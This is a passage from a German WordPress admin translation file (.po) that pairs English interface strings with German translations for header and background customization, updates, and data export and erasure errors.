msgstr "Zuschneiden und veröffentlichen" #: wp-admin/includes/class-custom-image-header.php:857 msgid "You need JavaScript to choose a part of the image." msgstr "Du benötigst JavaScript, um das Bild beschneiden zu können." #: wp-admin/includes/class-custom-image-header.php:856 msgid "Choose the part of the image you want to use as your header." msgstr "Wähle den Teil des Bildes, den du in deinem Header verwenden möchtest." #: wp-admin/includes/class-custom-image-header.php:853 msgid "Crop Header Image" msgstr "Header-Bild zuschneiden" #: wp-admin/includes/class-custom-image-header.php:838 #: wp-admin/includes/class-custom-image-header.php:981 msgid "Image Processing Error" msgstr "Bildbearbeitungs-Fehler" #: wp-admin/includes/class-custom-image-header.php:838 #: wp-admin/includes/class-custom-image-header.php:981 #: wp-admin/includes/class-custom-image-header.php:1317 msgid "Image could not be processed. Please go back and try again." msgstr "Bild konnte nicht verarbeitet werden. Bitte gehe zurück und versuche es nochmal." #: wp-admin/includes/class-custom-image-header.php:776 #: wp-admin/includes/class-custom-image-header.php:940 msgid "The current theme does not support uploading a custom header image." msgstr "Das aktuell verwendete Theme unterstützt nicht das Hochladen eines individuellen Header-Bildes." #. translators: %s: Default text color. #: wp-admin/includes/class-custom-image-header.php:738 msgctxt "color" msgid "Default: %s" msgstr "Standard: %s" #: wp-admin/includes/class-custom-image-header.php:710 msgid "Show header text with your image." msgstr "Header-Text mit deinem Bild anzeigen." #: wp-admin/includes/class-custom-image-header.php:693 msgid "Restore Original Header Image" msgstr "Ursprüngliches Header-Bild wiederherstellen" #: wp-admin/includes/class-custom-image-header.php:692 msgid "This will restore the original header image. You will not be able to restore any customizations." msgstr "Hiermit kannst du das ursprüngliche Header-Bild wiederherstellen. Jegliche Anpassungen gehen dabei verloren." #: wp-admin/includes/class-custom-image-header.php:690 msgid "Reset Image" msgstr "Bild zurücksetzen" #: wp-admin/includes/class-custom-image-header.php:680 msgid "Remove Header Image" msgstr "Header-Bild entfernen" #: wp-admin/includes/class-custom-image-header.php:679 msgid "This will remove the header image. You will not be able to restore any customizations." msgstr "Hiermit kannst du das Header-Bild entfernen. Danach können jegliche Anpassungen nicht wieder hergestellt werden." #: wp-admin/includes/class-custom-image-header.php:665 msgid "You can use one of these cool headers or show a random one on each page." msgstr "Du kannst eines dieser coolen Bilder wählen oder auf jeder Seite ein unterschiedliches Bild per Zufallsgenerator anzeigen lassen." #: wp-admin/includes/class-custom-image-header.php:663 msgid "If you don‘t want to upload your own image, you can use one of these cool headers, or show a random one." msgstr "Falls du kein eigenes Bild hochladen möchtest, kannst du aus bereits vorgefertigten Grafiken wählen oder auf jeder Seite ein unterschiedliches Bild per Zufallsgenerator anzeigen lassen. " #: wp-admin/includes/class-custom-image-header.php:660 msgid "Default Images" msgstr "Vorgegebene Bilder" #: wp-admin/includes/class-custom-image-header.php:649 msgid "You can choose one of your previously uploaded headers, or show a random one." msgstr "Du kannst eines der von dir hochgeladenen Bilder wählen oder sie in zufälliger Reihenfolge anzeigen lassen." #: wp-admin/includes/class-custom-image-header.php:647 msgid "Uploaded Images" msgstr "Hochgeladene Bilder" #: wp-admin/includes/class-custom-image-header.php:632 msgid "Set as header" msgstr "Als Header-Bild festlegen" #: wp-admin/includes/class-custom-image-header.php:631 msgid "Choose a Custom Header" msgstr "Wähle ein individuelles Header-Bild" #. translators: %s: Size in pixels. #: wp-admin/includes/class-custom-image-header.php:596 msgid "Suggested height is %s." msgstr "Vorgeschlagene Höhe ist %s." #. translators: %s: Size in pixels. #: wp-admin/includes/class-custom-image-header.php:585 msgid "Suggested width is %s." msgstr "Vorgeschlagene Breite ist %s." #. translators: %s: Size in pixels. #: wp-admin/includes/class-custom-image-header.php:572 msgid "Images should be at least %s tall." msgstr "Bilder sollten mindestens %s hoch sein." #. translators: %d: Custom header width. #. translators: %d: Custom header height. #: wp-admin/includes/class-custom-image-header.php:563 #: wp-admin/includes/class-custom-image-header.php:575 #: wp-admin/includes/class-custom-image-header.php:588 #: wp-admin/includes/class-custom-image-header.php:599 msgid "%d pixels" msgstr "%d Pixel" #. translators: %s: Size in pixels. #: wp-admin/includes/class-custom-image-header.php:560 msgid "Images should be at least %s wide." msgstr "Bilder sollten mindestens %s breit sein." #. translators: 1: Image width in pixels, 2: Image height in pixels. #: wp-admin/includes/class-custom-image-header.php:555 msgid "Images of exactly <strong>%1$d × %2$d pixels</strong> will be used as-is." msgstr "Bilder mit genau <strong>%1$d × %2$d Pixel</strong> werden benutzt, wie sie sind." #: wp-admin/includes/class-custom-image-header.php:551 msgid "You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it." msgstr "Du kannst ein Bild auswählen, welches im oberen Bereich deiner Website angezeigt wird, indem du es vom Computer hochlädst oder eines aus der Mediathek wählst. Nach dem Auswählen kannst du das Bild zuschneiden." #. translators: %s: Home URL. #: wp-admin/includes/class-custom-image-header.php:496 msgid "Header updated. <a href=\"%s\">Visit your site</a> to see how it looks." msgstr "Header aktualisiert. <a href=\"%s\">Sieh dir das Ergebnis an</a>." #. translators: %s: URL to header image configuration in Customizer. #: wp-admin/includes/class-custom-image-header.php:483 msgid "You can now manage and live-preview Custom Header in the <a href=\"%s\">Customizer</a>." msgstr "Du kannst jetzt individuelle Header über den <a href=\"%s\">Customizer</a> verwalten und in einer Live-Vorschau ansehen." #: wp-admin/includes/class-custom-image-header.php:475 #: wp-admin/includes/theme.php:308 msgid "Custom Header" msgstr "Individueller Header" #: wp-admin/includes/class-custom-image-header.php:294 msgid "<strong>Random:</strong> Show a different image on each page." msgstr "<strong>Zufällig:</strong> Auf jeder Seite ein zufälliges Bild anzeigen." #: wp-admin/includes/class-custom-image-header.php:134 msgid "<a href=\"https://codex.wordpress.org/Appearance_Header_Screen\">Documentation on Custom Header</a>" msgstr "<a href=\"https://codex.wordpress.org/Appearance_Header_Screen\">Dokumentation über individuelle Header (engl.)</a>" #: wp-admin/includes/class-custom-image-header.php:128 msgid "Don’t forget to click “Save Changes” when you’re done!" msgstr "Vergiss nicht, auf „Änderungen speichern“ zu klicken, wenn du fertig bist!" #: wp-admin/includes/class-custom-image-header.php:127 msgid "In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. “#ff0000” for red, or by choosing a color using the color picker." msgstr "Du kannst wählen, ob du den Header-Text anzeigen lassen möchtest oder nicht. Du kannst auch die Farbe der Schrift wählen. Dazu verwende bitte HTML Hex-Werte (wie: „#ff0000“ für rot) oder klicke „Farbe wählen“, um das Farbauswahlfeld zu nutzen." #. translators: %s: URL to General Settings screen. #: wp-admin/includes/class-custom-image-header.php:123 msgid "For most themes, the header text is your Site Title and Tagline, as defined in the <a href=\"%s\">General Settings</a> section." msgstr "Bei den meisten Themes ist der Header-Text gleichzeitig der Website-Titel und Untertitel deiner Website, wie es im Abschnitt <a href=\"%s\">Allgemeine Einstellungen</a> definiert ist." #: wp-admin/includes/class-custom-image-header.php:119 #: wp-admin/includes/class-custom-image-header.php:702 #: wp-admin/includes/class-custom-image-header.php:707 msgid "Header Text" msgstr "Header-Text" #: wp-admin/includes/class-custom-image-header.php:112 msgid "If you don’t want a header image to be displayed on your site at all, click the “Remove Header Image” button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click “Save Changes”." msgstr "Wenn du nicht möchtest, dass das Header-Bild auf deiner Website angezeigt wird, klicke „Bild entfernen“ unterhalb der Bildauswahl auf dieser Seite. Falls du es wieder aktivieren möchtest, brauchst du lediglich eins der Bilder auszuwählen und die Änderungen speichern." #: wp-admin/includes/class-custom-image-header.php:111 msgid "If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the “Random” radio button next to the Uploaded Images or Default Images section to enable this feature." msgstr "Falls dein Theme mehr als ein Standard-Header-Bild hat oder du mehr als ein individuelles Bild hochgeladen hast, hast du die Wahl, WordPress ein zufällig ausgewähltes anderes Bild auf jeder Seite deiner Website anzeigen zu lassen. Klicke dazu den Radiobutton „Zufällig“ neben dem Bereich Bild hochladen oder Standard-Bild, um dieses Feature zu aktivieren." #: wp-admin/includes/class-custom-image-header.php:110 msgid "Some themes come with additional header images bundled. If you see multiple images displayed, select the one you’d like and click the “Save Changes” button." msgstr "Manche Themes bringen gleich mehrere zusätzliche Header-Bilder mit. Wenn dir diese Bilder angezeigt werden, wähle einfach dasjenige aus, das dir gefällt und klicke anschließend auf den Button „Speichern“." #: wp-admin/includes/class-custom-image-header.php:109 msgid "You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the “Choose Image” button." msgstr "Du kannst ein individuelles Header-Bild für deine Website festlegen. Lade einfach ein Bild hoch und schneide es zu. Das neue Header-Bild wird sofort übernommen. Alternativ kannst du ein Bild, das schon in der Mediathek abgelegt wurde, durch Klick auf den Button: „Bild wählen“ auswählen." #: wp-admin/includes/class-custom-image-header.php:100 msgid "You can choose from the theme’s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed." msgstr "Du kannst aus den Standard-Header-Bildern wählen oder ein eigenes Bild nutzen. Du kannst auch definieren, wie der Website-Titel und die Beschreibung dargestellt werden sollen." #: wp-admin/includes/class-custom-image-header.php:99 msgid "This screen is used to customize the header section of your theme." msgstr "Dieser Bildschirm wird verwendet, um den Header des Themes anpassen." #: wp-admin/includes/class-custom-background.php:446 #: wp-admin/includes/class-custom-background.php:447 msgctxt "Background Scroll" msgid "Scroll" msgstr "Scrollen" #: wp-admin/includes/class-custom-background.php:438 #: wp-admin/includes/class-custom-background.php:439 msgctxt "Background Repeat" msgid "Repeat" msgstr "Wiederholen" #: wp-admin/includes/class-custom-background.php:348 msgid "Display Options" msgstr "Anzeigeoptionen" #: wp-admin/includes/class-custom-background.php:339 #: wp-admin/includes/class-custom-image-header.php:632 msgid "Choose Image" msgstr "Bild wählen" #: wp-admin/includes/class-custom-background.php:339 msgid "Set as background" msgstr "Als Hintergrund festlegen" #: wp-admin/includes/class-custom-background.php:338 msgid "Choose a Background Image" msgstr "Wähle ein Hintergrundbild" #: wp-admin/includes/class-custom-background.php:336 #: wp-admin/includes/class-custom-image-header.php:628 msgid "Or choose an image from your media library:" msgstr "Oder wähle ein Bild aus der Mediathek: " #: wp-admin/includes/class-custom-background.php:329 #: wp-admin/includes/class-custom-image-header.php:609 msgid "Choose an image from your computer:" msgstr "Wähle ein Bild von deinem Computer:" #: wp-admin/includes/class-custom-background.php:326 #: wp-admin/includes/class-custom-image-header.php:549 msgid "Select Image" msgstr "Bild auswählen" #: wp-admin/includes/class-custom-background.php:318 msgid "This will restore the original background image. You will not be able to restore any customizations." msgstr "Dies wird das Original-Hintergrundbild wiederherstellen. Angewandte Anpassungen können jedoch nicht wiederhergestellt werden." #: wp-admin/includes/class-custom-background.php:313 #: wp-admin/includes/class-custom-background.php:317 msgid "Restore Original Image" msgstr "Originalbild wiederherstellen" #: wp-admin/includes/class-custom-background.php:304 msgid "This will remove the background image. You will not be able to restore any customizations." msgstr "Damit wird das Hintergrundbild entfernt. Alle Anpassungen werden dabei gelöscht." #: wp-admin/includes/class-custom-background.php:303 msgid "Remove Background Image" msgstr "Hintergrundbild entfernen" #: wp-admin/includes/class-custom-background.php:299 #: wp-admin/includes/class-custom-image-header.php:677 msgid "Remove Image" msgstr "Bild entfernen" #. translators: %s: Home URL. #: wp-admin/includes/class-custom-background.php:247 msgid "Background updated. <a href=\"%s\">Visit your site</a> to see how it looks." msgstr "Das Hintergrundbild wurde aktualisiert. <a href=\"%s\">Besuche deine Website</a>, um zu sehen, wie es aussieht." #. translators: %s: URL to background image configuration in Customizer. #: wp-admin/includes/class-custom-background.php:234 msgid "You can now manage and live-preview Custom Backgrounds in the <a href=\"%s\">Customizer</a>." msgstr "Du kannst jetzt individuelle Hintergründe über den <a href=\"%s\">Customizer</a> verwalten und in einer Live-Vorschau ansehen." #: wp-admin/includes/class-custom-background.php:226 #: wp-admin/includes/theme.php:306 msgid "Custom Background" msgstr "Individueller Hintergrund" #: wp-admin/includes/class-custom-background.php:99 msgid "<a href=\"https://codex.wordpress.org/Appearance_Background_Screen\">Documentation on Custom Background</a>" msgstr "<a href=\"https://codex.wordpress.org/Appearance_Background_Screen\">Dokumentation zu individueller Hintergrund (engl.)</a>" #: wp-admin/includes/class-custom-background.php:93 msgid "Don’t forget to click on the Save Changes button when you are finished." msgstr "Vergiss nicht, zum Schluss auf „Änderungen speichern“ zu klicken." #: wp-admin/includes/class-custom-background.php:92 msgid "You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. “#ff0000” for red, or by choosing a color using the color picker." msgstr "Du kannst auch eine Hintergrundfarbe auswählen, indem du auf den Button „Farbe wählen“ klickst und dann einen gültigen HTML Hex-Wert eingibst, wie z. B. „#ff0000“ für Rot; oder wähle eine Farbe aus der Palette des Farbmischers." #: wp-admin/includes/class-custom-background.php:91 msgid "To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the “Choose Image” button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site." msgstr "Um ein Hintergrundbild zu verwenden, lade einfach eins hoch oder wähle ein Bild aus der Mediathek durch Klick auf den „Bild wählen“-Button. Du kannst das Bild einzeln anzeigen, es kacheln oder bildschirmfüllend einstellen. Du kannst den Hintergrund auch fixieren, so dass der Inhalt der Website darüber scrollt oder das Bild mit dem Inhalt mitscrollen lassen." #: wp-admin/includes/class-custom-background.php:90 msgid "You can customize the look of your site without touching any of your theme’s code by using a custom background. Your background can be an image or a color." msgstr "Du kannst das Aussehen deiner Website verändern, indem du einen individuellen Hintergrund verwendest. Dies kann ein Bild oder eine Farbe sein." #: wp-admin/includes/class-core-upgrader.php:160 #: wp-admin/includes/class-wp-upgrader.php:165 #: wp-admin/includes/update-core.php:947 wp-admin/includes/update-core.php:1103 #: wp-admin/includes/update-core.php:1128 msgid "The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions." msgstr "Die Aktualisierung konnte nicht installiert werden, da einige Dateien nicht kopiert werden konnten. Dies liegt meist an inkonsistenten Dateiberechtigungen." #: wp-admin/includes/class-core-upgrader.php:38 msgid "Due to an error during updating, WordPress has rolled back to your previous version." msgstr "Aufgrund eines Fehlers während der Aktualisierung hat WordPress die bisherige Version wieder hergestellt." #: wp-admin/includes/class-core-upgrader.php:37 msgid "Attempting to roll back to previous version." msgstr "Versuche, eine vorherige Version wieder herzustellen." #: wp-admin/includes/class-core-upgrader.php:36 wp-admin/includes/file.php:1579 #: wp-admin/includes/file.php:1706 msgid "Could not copy files. You may have run out of disk space." msgstr "Dateien konnten nicht kopiert werden. Du hast zu wenig Speicherplatz." #: wp-admin/includes/class-core-upgrader.php:35 msgid "Could not copy files." msgstr "Dateien konnte nicht kopiert werden." #: wp-admin/includes/class-core-upgrader.php:34 #: wp-admin/includes/class-language-pack-upgrader.php:118 #: wp-admin/includes/class-plugin-upgrader.php:61 #: wp-admin/includes/class-theme-upgrader.php:60 msgid "Unpacking the update…" msgstr "Entpacken der aktualisierten Version …" #. translators: %s: Package URL. #: wp-admin/includes/class-core-upgrader.php:33 #: wp-admin/includes/class-plugin-upgrader.php:60 #: wp-admin/includes/class-theme-upgrader.php:59 msgid "Downloading update from %s…" msgstr "Herunterladen der Aktualisierung von %s…" #: wp-admin/includes/class-core-upgrader.php:31 #: wp-admin/includes/class-language-pack-upgrader.php:115 #: wp-admin/includes/class-plugin-upgrader.php:58 #: wp-admin/includes/class-theme-upgrader.php:57 msgid "Update package not available." msgstr "Aktualisierungs-Paket nicht verfügbar." #: wp-admin/includes/class-core-upgrader.php:30 msgid "Another update is currently in progress." msgstr "Momentan wird eine andere Aktualisierung durchgeführt." #: wp-admin/includes/class-core-upgrader.php:29 msgid "WordPress is at the latest version." msgstr "WordPress ist auf dem neuesten Stand." #: wp-admin/includes/class-bulk-upgrader-skin.php:153 msgid "Show details." msgstr "Details anzeigen." #: wp-admin/includes/class-bulk-upgrader-skin.php:48 msgid "All updates have been completed." msgstr "Alle Aktualisierungen wurden vollständig durchgeführt." #. translators: %s: Title of an update. #: wp-admin/includes/class-bulk-upgrader-skin.php:47 msgid "%s updated successfully." msgstr "%s wurde erfolgreich aktualisiert." #. translators: %s: Title of an update. #: wp-admin/includes/class-bulk-upgrader-skin.php:45 msgid "The update of %s failed." msgstr "Die Aktualisierung von %s ist fehlgeschlagen." #. translators: 1: Title of an update, 2: Error message. #: wp-admin/includes/class-bulk-upgrader-skin.php:43 msgid "An error occurred while updating %1$s: %2$s" msgstr "Beim Aktualisieren von %1$s ist ein Fehler aufgetreten: %2$s" #: wp-admin/includes/class-bulk-upgrader-skin.php:41 msgid "The update process is starting. This process may take a while on some hosts, so please be patient." msgstr "Der Aktualisierungsprozess beginnt. Dies kann eine Weile dauern, bitte hab etwas Geduld." #: wp-admin/includes/class-bulk-theme-upgrader-skin.php:51 #: wp-admin/includes/class-theme-installer-skin.php:164 #: wp-admin/includes/class-theme-upgrader-skin.php:127 msgid "Go to Themes page" msgstr "Weiter zur Themes-Seite" #. translators: 1: Theme name, 2: Number of the theme, 3: Total number of #. themes being updated. #: wp-admin/includes/class-bulk-theme-upgrader-skin.php:24 msgid "Updating Theme %1$s (%2$d/%3$d)" msgstr "Aktualisierung des Themes %1$s (%2$d von %3$d)" #: wp-admin/includes/class-bulk-plugin-upgrader-skin.php:56 #: wp-admin/includes/class-bulk-theme-upgrader-skin.php:56 #: wp-admin/includes/class-language-pack-upgrader-skin.php:78 msgid "Go to WordPress Updates page" msgstr "Weiter zur WordPress-Aktualisierungs-Seite" #: wp-admin/includes/class-bulk-plugin-upgrader-skin.php:51 #: wp-admin/includes/class-plugin-installer-skin.php:151 #: wp-admin/includes/class-plugin-upgrader-skin.php:101 msgid "Go to Plugins page" msgstr "Weiter zur Plugins-Seite" #. translators: 1: Plugin name, 2: Number of the plugin, 3: Total number of #. plugins being updated. #: wp-admin/includes/class-bulk-plugin-upgrader-skin.php:24 msgid "Updating Plugin %1$s (%2$d/%3$d)" msgstr "Aktualisierung des Plugins %1$s (%2$d von %3$d)" #. translators: %s: URL to install the Link Manager plugin. #: wp-admin/includes/bookmark.php:347 msgid "If you are looking to use the link manager, please install the <a href=\"%s\">Link Manager</a> plugin." msgstr "Falls du den bekannten Linkmanager vermisst, installiere bitte das <a href=\"%s\">Link Manager</a> Plugin." #: wp-admin/includes/bookmark.php:237 msgid "Could not insert link into the database." msgstr "Der Link konnte nicht in die Datenbank eingefügt werden." #: wp-admin/includes/bookmark.php:229 msgid "Could not update link in the database." msgstr "Der Link konnte nicht in der Datenbank aktualisiert werden." #: wp-admin/includes/bookmark.php:32 wp-admin/includes/bookmark.php:350 #: wp-admin/link-manager.php:12 wp-admin/link-manager.php:91 msgid "Sorry, you are not allowed to edit the links for this site." msgstr "Du bist leider nicht berechtigt, die Links dieser Website zu bearbeiten." #. translators: %s: User's display name. #: wp-admin/includes/ajax-actions.php:5433 msgid "A password reset link was emailed to %s." msgstr "Ein Link zum Zurücksetzen des Passwortes wurde per E-Mail an %s gesendet." #: wp-admin/includes/ajax-actions.php:5423 msgid "Cannot send password reset, permission denied." msgstr "Das Zurücksetzen des Passwortes kann nicht gesendet werden, die Berechtigung wurde verweigert." #: wp-admin/includes/ajax-actions.php:5389 msgid "Invalid data. The item does not exist." msgstr "Ungültige Daten. Das Element existiert nicht." #: wp-admin/includes/ajax-actions.php:5377 msgid "Sorry, you are not allowed to modify themes." msgstr "Du bist leider nicht berechtigt, Themes zu ändern." #: wp-admin/includes/ajax-actions.php:5367 msgid "Sorry, you are not allowed to modify plugins." msgstr "Du bist leider nicht berechtigt, Plugins zu ändern." #: wp-admin/includes/ajax-actions.php:5360 #: wp-admin/includes/ajax-actions.php:5385 msgid "Invalid data. Unknown type." msgstr "Ungültige Daten. Unbekannter Typ." #: wp-admin/includes/ajax-actions.php:5355 msgid "Invalid data. Unknown state." msgstr "Ungültige Daten. Unbekannter Status." #: wp-admin/includes/ajax-actions.php:5349 msgid "Invalid data. No selected item." msgstr "Ungültige Daten. Kein ausgewähltes Element." #. translators: 1: The Site Health action that is no longer used by core. 2: #. The new function that replaces it. #: wp-admin/includes/ajax-actions.php:5161 #: wp-admin/includes/ajax-actions.php:5194 #: wp-admin/includes/ajax-actions.php:5227 #: wp-admin/includes/ajax-actions.php:5277 msgid "The Site Health check for %1$s has been replaced with %2$s." msgstr "Der Test zum Website-Zustand für %1$s wurde durch %2$s ersetzt." #. translators: 1: Eraser friendly name, 2: Eraser array index. #: wp-admin/includes/ajax-actions.php:5108 msgid "Expected done flag in response array from %1$s eraser (index %2$d)." msgstr "Erwartetes done flag in Antwort-Array der Funktion zur Datenlöschung %1$s (Index %2$d)." #. translators: 1: Eraser friendly name, 2: Eraser array index. #: wp-admin/includes/ajax-actions.php:5097 msgid "Expected messages key to reference an array in response array from %1$s eraser (index %2$d)." msgstr "Erwarteter messages-Schlüssel in Antwort-Array der Funktion zur Datenlöschung %1$s (Index %2$d)." #. translators: 1: Eraser friendly name, 2: Eraser array index. #: wp-admin/includes/ajax-actions.php:5086 msgid "Expected messages key in response array from %1$s eraser (index %2$d)." msgstr "Erwarteter messages-Schlüssel in Antwort-Array der Funktion zur Datenlöschung %1$s (Index %2$d)." #. translators: 1: Eraser friendly name, 2: Eraser array index. #: wp-admin/includes/ajax-actions.php:5075 msgid "Expected items_retained key in response array from %1$s eraser (index %2$d)." msgstr "Erwarteter items_retained-Schlüssel in Antwort-Array der Funktion zur Datenlöschung %1$s (Index %2$d)." #. translators: 1: Eraser friendly name, 2: Eraser array index. #: wp-admin/includes/ajax-actions.php:5064 msgid "Expected items_removed key in response array from %1$s eraser (index %2$d)." msgstr "Erwarteter items_removed-Schlüssel in Antwort-Array der Funktion zur Datenlöschung %1$s (Index %2$d)." #. translators: 1: Eraser friendly name, 2: Eraser array index. #: wp-admin/includes/ajax-actions.php:5053 msgid "Did not receive array from %1$s eraser (index %2$d)." msgstr "Kein Array der Datenlöschungs-Funktion %1$s (Index %2$d) erhalten." #. translators: %s: Eraser friendly name. #: wp-admin/includes/ajax-actions.php:5036 msgid "Eraser callback is not valid: %s." msgstr "Der Löschvorgang ist nicht gültig: %s." #. translators: %s: Eraser friendly name. #: wp-admin/includes/ajax-actions.php:5026 msgid "Eraser does not include a callback: %s." msgstr "Löschprogramm enthält keinen Aufruf: %s" #. translators: %d: Eraser array index. #: wp-admin/includes/ajax-actions.php:5017 msgid "Eraser array at index %d does not include a friendly name." msgstr "Der Funktion zur Datenlöschung im Index %d des Arrays fehlt ein Anzeigename." #. translators: %d: Eraser array index. #: wp-admin/includes/ajax-actions.php:5012 msgid "Expected an array describing the eraser at index %d." msgstr "Erwartet wurde ein Array, dass die Funktion zur Datenlöschung im Index %d beschreibt." #: wp-admin/includes/ajax-actions.php:4999 msgid "Eraser index is out of range." msgstr "Index der Funktion zur Datenlöschung ist außerhalb des Bereichs." #: wp-admin/includes/ajax-actions.php:4995 msgid "Eraser index cannot be less than one." msgstr "Index der Funktion zur Datenlöschung kann nicht kleiner als 1 sein." #: wp-admin/includes/ajax-actions.php:4958 msgid "Missing eraser index." msgstr "Index der Funktion zur Datenlöschung fehlt." #: wp-admin/includes/ajax-actions.php:4954 msgid "Invalid email address in request." msgstr "Ungültige E-Mail-Adresse in der Anfrage." #. translators: %s: Exporter friendly name. #: wp-admin/includes/ajax-actions.php:4883 msgid "Expected done (boolean) in response array from exporter: %s." msgstr "Erwartetes done (boolesch) in Antwort-Array der Funktion zum Datenexport: %s." #. translators: %s: Exporter friendly name. #: wp-admin/includes/ajax-actions.php:4876 msgid "Expected data array in response array from exporter: %s." msgstr "Erwartet wurde ein Daten-Array im Antwort-Array der Funktion zum Datenexport: %s." #. translators: %s: Exporter friendly name. #: wp-admin/includes/ajax-actions.php:4869 msgid "Expected data in response array from exporter: %s." msgstr "Daten erwartet im Antwort-Array der Funktion zum Datenexport: %s." #. translators: %s: Exporter friendly name. #: wp-admin/includes/ajax-actions.php:4862 msgid "Expected response as an array from exporter: %s." msgstr "Erwartet wurde ein Array als Antwort der Funktion zum Datenexport: %s." #. translators: %s: Exporter friendly name. #: wp-admin/includes/ajax-actions.php:4848 msgid "Exporter callback is not a valid callback: %s." msgstr "Rückruffunktion der Funktion zum Datenexport ist kein gültiger Callback: %s." #. translators: %s: Exporter friendly name. #: wp-admin/includes/ajax-actions.php:4841 msgid "Exporter does not include a callback: %s." msgstr "Funktion zum Datenexport enthält keine gültige Rückruffunktion: %s." #. translators: %s: Exporter array index. #: wp-admin/includes/ajax-actions.php:4832 msgid "Exporter array at index %s does not include a friendly name." msgstr "Der Funktion zum Datenexport im Index %s des Arrays fehlt ein Anzeigename." #. translators: %s: Exporter array index. #: wp-admin/includes/ajax-actions.php:4825 msgid "Expected an array describing the exporter at index %s." msgstr "Erwartet wurde ein Array zur Beschreibung der Funktion zum Datenexport im Index %s." #: wp-admin/includes/ajax-actions.php:4815 #: wp-admin/includes/ajax-actions.php:5003 msgid "Page index cannot be less than one." msgstr "Seiten-Index kann nicht kleiner als 1 sein." #: wp-admin/includes/ajax-actions.php:4811 msgid "Exporter index is out of range." msgstr "Der Exporter-Index ist außerhalb des Bereichs." #: wp-admin/includes/ajax-actions.php:4807 msgid "Exporter index cannot be negative." msgstr "Index der Funktion zum Datenexport kann nicht negativ sein." #: wp-admin/includes/ajax-actions.php:4801 msgid "An exporter has improperly used the registration filter." msgstr "Eine Funktion zum Datenexport hat den Registrierungs-Filter unzulässig benutzt." #: wp-admin/includes/ajax-actions.php:4772 #: wp-admin/includes/ajax-actions.php:4964 msgid "Missing page index." msgstr "Fehlender Seiten-Index." #: wp-admin/includes/ajax-actions.php:4766 msgid "Missing exporter index." msgstr "Index der Funktion zum Export fehlt." #: wp-admin/includes/ajax-actions.php:4762 msgid "A valid email address must be given." msgstr "Eine gültige E-Mail-Adresse muss angegeben werden." #: wp-admin/includes/ajax-actions.php:4757 #: wp-admin/includes/ajax-actions.php:4948 msgid "Invalid request type." msgstr "Ungültiger Anfragetyp." #: wp-admin/includes/ajax-actions.php:4748 #: wp-admin/includes/ajax-actions.php:4939 msgid "Sorry, you are not allowed to perform this action." msgstr "Du bist leider nicht berechtigt, diese Aktion durchzuführen." #: wp-admin/includes/ajax-actions.php:4744 #: wp-admin/includes/ajax-actions.php:4934 msgid "Invalid request ID." msgstr "Ungültige Anfrage-ID." #: wp-admin/includes/ajax-actions.php:4724 wp-admin/plugin-editor.php:184 #: wp-admin/theme-editor.php:189 msgid "File edited successfully." msgstr "Die Datei wurde erfolgreich bearbeitet." #: wp-admin/includes/ajax-actions.php:4587 msgid "Plugin could not be deleted." msgstr "Plugin konnte nicht gelöscht werden." #: wp-admin/includes/ajax-actions.php:4556 wp-admin/plugins.php:622 msgid "You cannot delete a plugin while it is active on the main site." msgstr "Du kannst ein Plugin nicht löschen, so lange es noch auf der Haupt-Website aktiv ist." #: wp-admin/includes/ajax-actions.php:4513 #: wp-admin/includes/class-plugin-upgrader.php:64 #: wp-admin/includes/class-plugin-upgrader.php:91 msgid "Plugin update failed." msgstr "Plugin-Aktualisierung fehlgeschlagen." #. translators: %s: Plugin version. #. translators: %s: Plugin version number. #. translators: %s: Theme version number. #. translators: %s: WordPress version. #. translators: %s: Theme version. #: wp-admin/includes/ajax-actions.php:4451 #: wp-admin/includes/ajax-actions.php:4494 #: wp-admin/includes/class-wp-debug-data.php:905 #: wp-admin/includes/class-wp-debug-data.php:952 #: wp-admin/includes/class-wp-debug-data.php:1275 #: wp-admin/includes/class-wp-plugins-list-table.php:1022 #: wp-admin/includes/update.php:231 wp-admin/includes/update.php:273 #: wp-admin/includes/class-wp-ms-themes-list-table.php:713 msgid "Version %s" msgstr "Version %s" #: wp-admin/includes/ajax-actions.php:4441 wp-admin/update.php:29 #: wp-admin/update.php:57 wp-admin/update.php:79 msgid "Sorry, you are not allowed to update plugins for this site." msgstr "Du bist leider nicht berechtigt, Plugins dieser Website zu aktualisieren." #: wp-admin/includes/ajax-actions.php:4317 #: wp-admin/includes/ajax-actions.php:4426 #: wp-admin/includes/ajax-actions.php:4534 msgid "No plugin specified." msgstr "Kein Plugin angegeben." #: wp-admin/includes/ajax-actions.php:4293 msgid "Theme could not be deleted." msgstr "Theme konnte nicht gelöscht werden." #: wp-admin/includes/ajax-actions.php:4255 msgid "Sorry, you are not allowed to delete themes on this site." msgstr "Du bist leider nicht berechtigt, Theme auf dieser Website zu löschen." #: wp-admin/includes/ajax-actions.php:4222 #: wp-admin/includes/class-theme-upgrader.php:63 #: wp-admin/includes/class-theme-upgrader.php:100 msgid "Theme update failed." msgstr "Theme-Aktualisierung fehlgeschlagen." #: wp-admin/includes/ajax-actions.php:4162 wp-admin/update.php:202 #: wp-admin/update.php:223 msgid "Sorry, you are not allowed to update themes for this site." msgstr "Du bist leider nicht berechtigt, Themes dieser Website zu aktualisieren." #: wp-admin/includes/ajax-actions.php:4038 wp-admin/theme-install.php:16 #: wp-admin/update.php:251 wp-admin/update.php:291 wp-admin/update.php:324 msgid "Sorry, you are not allowed to install themes on this site." msgstr "Du bist leider nicht berechtigt, Themes auf dieser Website zu installieren." #: wp-admin/includes/ajax-actions.php:4025 #: wp-admin/includes/ajax-actions.php:4148 #: wp-admin/includes/ajax-actions.php:4243 msgid "No theme specified." msgstr "Kein Theme angegeben." #: wp-admin/includes/ajax-actions.php:3876 msgid "Image could not be processed." msgstr "Bild konnte nicht verarbeitet werden." #. translators: %s: User's display name. #: wp-admin/includes/ajax-actions.php:3851 msgid "%s has been logged out." msgstr "%s wurde abgemeldet." #: 